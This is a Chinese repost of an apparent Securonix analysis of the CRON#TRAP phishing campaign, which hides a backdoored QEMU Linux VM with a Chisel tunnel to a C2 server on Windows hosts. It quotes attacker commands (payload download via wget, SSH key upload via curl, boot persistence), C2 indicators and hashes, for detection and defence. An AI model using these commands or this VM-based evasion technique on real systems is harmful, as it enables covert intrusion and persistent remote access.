要点: 攻击者通过钓鱼邮件传播定制的QEMU Linux虚拟环境,在受害者终端实现持久化控制。
Securonix威胁研究团队近期追踪到一起引人注目的攻击活动,该活动利用恶意快捷方式(.lnk)文件作为入口。当用户执行该文件时,会释放并启动一个通过QEMU模拟的轻量级Linux环境。
CRON#TRAP攻击活动的特别之处在于,这个模拟的Linux实例预装了一个会自动连接攻击者控制的命令与控制(C2)服务器的后门程序。这种设置使攻击者能够在受害者机器上保持隐蔽状态,在一个隐藏的环境中部署进一步的恶意活动,这对传统杀毒软件的检测带来了挑战。由于QEMU是开发和研究中常用的合法软件,其存在通常不会触发安全警报。
我们未能确定该攻击活动的明确归属或受害者特征。不过,根据样本遥测数据,大多数攻击源头似乎来自美国和欧洲。此外,考虑到整个活动中使用的措辞以及命令控制服务器位于美国境内,我们以低到中等的可信度推测北美可能是主要目标区域。
在深入分析之前,让我们先来了解一下QEMU以及它是如何被用于恶意目的的。
简单来说,QEMU(快速模拟器)是一款合法的开源虚拟化工具,它可以模拟各种硬件和处理器架构,使其能够在虚拟环境中运行不同的操作系统或应用程序。它可以模拟x86、ARM和PowerPC等处理器,这使它在测试、开发和研究领域非常实用。在CRON#TRAP攻击活动中,攻击者选择模拟Tiny Core Linux安装环境。据我们所知,除了加密货币挖矿之外,这是攻击者首次将该工具用于恶意目的。
初始感染
虽然我们的团队无法确定攻击的最初来源,但我们认为攻击始于一封包含ZIP文件下载链接的钓鱼邮件。从ZIP文件("OneAmerica Survey.zip")和其中包含的快捷方式文件("OneAmerica Survey.lnk")的命名来看,攻击主题似乎与调查问卷有关。
快速查看这个ZIP文件,会发现它的体积异常庞大——对于一个钓鱼文档来说,285MB的大小可能会引起一些用户的怀疑。当用户解压缩该文件时,会看到一个快捷方式文件"OneAmerica Survey"和一个包含完整QEMU安装目录的"data"文件夹。
data文件夹中的所有内容都被设置了隐藏属性,因此除非用户启用了Windows资源管理器的"显示隐藏文件"选项,否则看不到其中的内容。
查看快捷方式文件,可以发现它链接到系统的PowerShell进程并执行一条简单命令。该命令将下载的ZIP文件重新解压到用户配置文件目录下名为"datax"的文件夹中,然后执行位于以下路径的start.bat文件:
"$homedataxdatastart.bat
"
start.bat文件完成两项任务。首先,它使用explorer.exe向用户显示一个"服务器错误",暗示调查问卷的链接或URL在服务器端出现故障。用户看到这个错误后很可能会直接关闭。下图展示了start.bat的完整代码。其次,脚本执行QEMU进程和命令行来启动模拟的Linux环境。攻击者在投放钓鱼诱饵前将qemu.exe重命名为fontdiag.exe。
诱饵文档
错误提示图片由explorer.exe进程执行。由于图片通过HTTPS托管在远程服务器上,用户的默认浏览器会打开并显示该图片。这是一个简单的服务器错误提示。虽然实际上并没有错误发生,而只是错误提示的图片,但攻击者希望用户会忽略这一点。该图片托管在一个公开网站上:
hxxps://forum.hestiacp[.]com/uploads/default/original/2X/9/9aae76309a614c85f880512d8fe7df158fec52cc.png
QEMU:挂载和执行
如前所述,QEMU进程被重命名并通过start.bat脚本执行。这个QEMU进程是合法的,并使用有效的数字证书进行了签名。Linux环境通过以下命令执行:
START /B %HOMEPATH%dataxdatafontdiag.exe -drive file=%HOMEPATH%dataxdatatc.img -nographic &
使用"-nographic"参数意味着Linux虚拟环境将在后台静默运行。为了分析需要,我们去掉了这个参数以便与操作系统交互。幸运的是,由于我们不知道用户密码,自动登录功能已被启用!在这个阶段,我们可以与操作系统进行交互。
PivotBox:探索攻击者的Linux环境
如下图所示,MOTD横幅显示"PivotBox"以及一个选项命令。这些似乎是攻击者自定义的,因为我们发现了对/etc/motd和用户.ashrc文件的多次编辑(详见下文历史记录部分)。.ashrc文件是Almquist Shell(通常简称为ash)的用户配置文件,这是Unix类操作系统中常用的轻量级shell。
options命令显示了两个"特殊命令":get-host-shell
和get-host-user
,这些命令允许与宿主机进行交互。
攻击者创建的get-host-shell
别名通过启动SSH连接来尝试在宿主机上获取交互式shell。该命令使用存储在QEMU特定文件/sys/firmware/qemu_fw_cfg/by_name/opt/usercontext/raw
中的用户上下文信息。
该命令指向IP地址10.0.2.2,这是虚拟化环境中常用的主机-访客通信IP,作为宿主机回环接口的别名。
get-host-user别名则通过读取usercontext/raw来获取并显示QEMU实例在宿主机上运行时的用户名或上下文。
探索PivotBox的命令历史
Linux默认会在用户的配置目录中记录用户执行的所有命令。由于使用了ash shell,我们很幸运地发现了PivotBox Linux镜像创建过程的完整命令记录。通常良好的操作安全(OPSEC)应该包括清除历史记录,特别是当镜像将被部署到其他地方时。我们不确定这是攻击者工作流程中的疏忽,还是他们根本不在意这一点。
虽然内容很多,让我们来看看一些重要发现。.ash_history文件为我们展示了一系列步骤,表明攻击者试图通过在独立环境中创建这个隐蔽工具包来实现高级持久化。以下是关键行动的分析:
网络测试和初始侦察
命令: ping google.com
和 wget
目的: 确认网络连接并尝试从基于IP的URL(192.168.160.143)和GitHub托管的内容中获取远程资源(可能是临时文件或有效载荷)。这个私有192地址似乎来自攻击者的测试基础设施。
工具安装和准备
命令: tce-load -wi [工具名]
目的: 这个Tiny Core Linux(tce
)命令用于安装vim、file和openssh等工具,表明攻击者正在为修改、文件分析和SSH访问准备环境。含义: openssh的安装暗示了建立持久远程访问的意图。
有效载荷操作和执行
命令: ./crondx
, chmod +x crondx
, ln -s /lib /lib64
目的: 执行crondx,可能是在从攻击者服务器或GitHub仓库下载文件后重命名或替换。将/lib链接到/lib64表明试图绕过环境依赖。观察结果:
-
wget http://192.168.160.143:8000/crondx
下载一个文件作为crondx,随后多次以不同方式执行(./crondx
,/bin/bash ./crondx
) -
频繁使用文件分析(file crondx)表明对每次下载进行测试或验证
配置持久化和权限提升
命令: sudo vim /opt/bootlocal.sh
, filetool.sh -b
目的: 编辑/opt/bootlocal.sh用于在重启后保持更改。使用filetool.sh -b
是Tiny Core Linux文件结构中保存更改的方法,确保系统配置的任何修改都能保留。持久性: 通过修改和备份配置,确保crondx在每次QEMU实例启动时都能重新加载或重新执行。
SSH密钥操作实现远程访问
命令: ssh-keygen -t rsa
, curl --upload-file ~/.ssh/id_rsa.pub
目的: 通过生成SSH密钥并上传公钥,攻击者旨在无需密码即可访问目标机器。含义: 这是一个经典的持久化技术,允许使用上传到已知位置的SSH密钥重新进入环境。
文件和环境管理
命令: tce-load -i 7z
, unzip
, 7z x [archive.zip]
目的: 频繁使用归档工具显示了处理大文件传输或额外有效载荷的方法,同时保持工作环境的组织性。
-
重复下载和解压文件(如resolvd.zip、ch.zip)可能包含补充有效载荷或配置
系统和用户枚举
命令: get-host-user
, uname -a
, df
, ls -hal
目的: 基本侦察以了解环境、识别用户信息和确认文件位置。含义: 这使攻击者能够根据系统架构或可用空间调整行动,使命令适应目标。
潜在的数据外泄或命令控制通道
命令: wget hxxps://free[.]keep.sh
目的: 使用免费文件共享服务可能作为SSH密钥或其他敏感文件的外泄通道。
命令历史总结:
就像下棋一样,攻击者有条不紊地准备他们的环境。他们系统地安装、测试和执行多个有效载荷和配置,每一步都为下一阶段做准备。使用bootlocal.sh和SSH密钥表明他们致力于在机器上建立可靠的存在。他们多次从不同URL下载crondx文件,原因不明,但我们推测他们可能在不断修改有效载荷直至达到预期功能。
crondx(Chisel)分析
Linux QEMU实例启动时执行的二进制文件位于/home/tc/crondx。该文件是一个用Go(golang)编译的64位ELF可执行文件。以下是一些高级详情。
经过深入检查,该二进制文件似乎是一个预配置的Chisel客户端,设计用于通过websockets连接到远程命令与控制(C2)服务器,地址为18.208.230[.]174
。通常,Chisel客户端需要命令行参数来指定模式(客户端或服务器)和连接详情。然而,在这种情况下,攻击者选择将这些参数直接硬编码到二进制文件中,消除了外部配置的需求。由于Chisel是开源的,这种定制化相当简单,使二进制文件能够以最小的可见性执行,增加了检测难度。
根据Chisel的GitHub介绍,它是"一个快速的TCP/UDP隧道,通过HTTP传输,通过SSH加密。单一可执行文件同时包含客户端和服务器。用Go(golang)编写。Chisel主要用于穿透防火墙,但也可以用来为您的网络提供安全端点。" Chisel的设计使其特别适合创建隐蔽通信通道和穿透防火墙,通常能够避开网络监控工具的检测。
攻击者的方法有效地将这个Chisel客户端转变为完整的后门,使远程命令和控制流量能够在Linux环境中进出。这种设置为他们提供了持久的、加密的访问受害系统的能力,使他们能够随意管理额外的有效载荷或窃取数据。
总结分析
CRON#TRAP攻击活动展示了一种复杂而新颖的系统入侵方法,它综合运用了钓鱼、模拟环境和隐蔽的预配置隧道技术。这次攻击的独特之处在于,它以一个相当常见的开端 - 钓鱼邮件诱导下载含有恶意.lnk快捷方式的大型压缩包。但是,一旦代码开始执行,情况就急转直下。攻击者利用PowerShell触发一连串事件,最终启动了一个完整的Linux模拟环境,这个环境使用了伪装过的QEMU可执行文件。这个模拟的Linux环境让攻击者能够躲避传统杀毒软件的监控。
在这个环境中,攻击者部署了一套高度定制化的配置。模拟系统包含了一个crondx (Chisel)二进制文件,这是一个常用于绕过防火墙秘密传输数据的隧道工具。Chisel客户端预先配置了硬编码参数,使其能够通过websockets自动连接到远程指挥控制(C2)服务器,为攻击者提供了一个持久的后门。
攻击者通过多种持久化技术牢牢扎根于这个模拟的Linux系统中。他们修改启动脚本并使用SSH密钥,确保系统重启后仍能保持访问权限。通过设置命令别名(如get-host-shell
和get-host-user
),攻击者可以从隔离的QEMU环境直接与主机交互,这个功能很可能是为了方便横向移动或数据窃取。
.ash_history
文件记录了安装工具、收集系统信息和下载额外载荷的操作轨迹,展示了一种模块化和自适应的攻击方法。攻击者选择使用QEMU和Chisel这样的合法软件,增加了一层躲避检测的防护,因为这些工具在很多环境中不太可能触发警报。
Securonix安全建议
-
由于此次攻击活动很可能始于钓鱼邮件,应避免下载来自外部来源的文件或附件,特别是未经请求的来源。常见的文件类型包括zip、rar、iso和pdf。另外,指向这类文件的外部下载链接同样危险。本次攻击中使用了zip文件,有些还带有密码保护。
-
监控常见的恶意软件暂存目录,特别是可写目录中的脚本相关活动。在本次攻击中,威胁者从用户主目录
%HOME%datax
部署了QEMU实例。 -
监控合法软件从异常位置执行的情况。
-
我们强烈建议部署强大的终端日志功能来帮助检测PowerShell活动。这包括利用额外的进程级日志记录,如Sysmon和PowerShell日志以获得更全面的日志检测覆盖。
-
Securonix用户可以使用下面的检测查询来扫描终端。
MITRE ATT&CK矩阵
战术 | 技术 |
---|---|
初始访问 | T1566.001: 钓鱼:定向钓鱼附件 |
命令与控制 | T1071.001: 应用层协议:Web协议 T1132: 数据编码 T1572: 协议隧道 |
防御规避 | T1027: 混淆文件或信息 T1036: 伪装 T1218: 系统二进制代理执行 T1564.006: 隐藏工件:运行虚拟实例 |
执行 | T1059.001: 命令和脚本解释器: PowerShell T1059.003: 命令和脚本解释器: Windows命令行 T1204.001: 用户执行:恶意链接 T1204.002: 用户执行:恶意文件 |
持久化 | T1072: 软件部署工具 |
数据窃取 | T1041: 通过C2通道窃取数据 |
C2和基础设施
C2地址 |
---|
18.208.230[.]174 |
github[.]com/yaniraenrica/testing/raw/main/resolvd.zip |
github[.]com/rustyshackleford72/testing/raw/main/cheezel-client |
github[.]com/gregtunny/data/raw/refs/heads/main/ch.zip |
forum.hestiacp[.]com/uploads/default/original/2X/9/9aae76309a614c85f880512d8fe7df158fec52cc.png |
参考资料
-
LoudMiner: 破解VST软件中的跨平台挖矿
https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/
分析的文件/哈希值
文件名 | SHA256 |
---|---|
OneAmerica Survey.zip | CE26AAC9BA7BE60BFB998BA6ADD6B34DA5A68506E9FEA9844DC44BAFE3CAB676 |
OneAmerica Survey.lnk | 0618BB997462F350BC4402C1A5656B38BEDC278455823AC249FD5119868D3DF4 |
start.bat | 9FFAD9CF6D93B21BB0CA15DE9AB9E782E78F2B6356D05FB55FB95F55BEC9FC04 002f9cd9ffa4b81301d003acd9fb3fbba1262e593b4f2e56a085b62a50e76510 |
tc.img | 5A8BC06587CE40B3A8D8DD4037D0EF272EFC64A69E21F6689FFE3F5FBB04A468 4C91070877C6D116F5A27EFADDBBFBC339455628E9D6585A4EA5F9B6972BF92B |
FontDiag.zip | BC7A34379602F9F061BDB94EC65E8E46DA0257D511022A17D2555ADBD4B1DD38 |
crondx | 3E6A47DA0A226A4C98FB53A06EC1894B4BFD15E73D0CEA856B7D2A001CADA7E9 |
mydata.tar | 9A33EA831EDF83CB8775311963F52299F1488A89651BD3471CC8F1C70F08A36C 82A9747485FDD60360D28CD73671F171A8312B7D68B26FE1E2D472EB97C4FE59 F4229128EF642D299F7AB5FBCB6DE75A17D12F30F22A3985044C8B1B44F1768F 6903BDF7F4A22ECFDDBAEE0B16E3DEE85DBB169AA446094BB3D1B75526677B6C |
原文始发于微信公众号(独眼情报):通过武器化 Linux VM 感染 Windows 机器
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论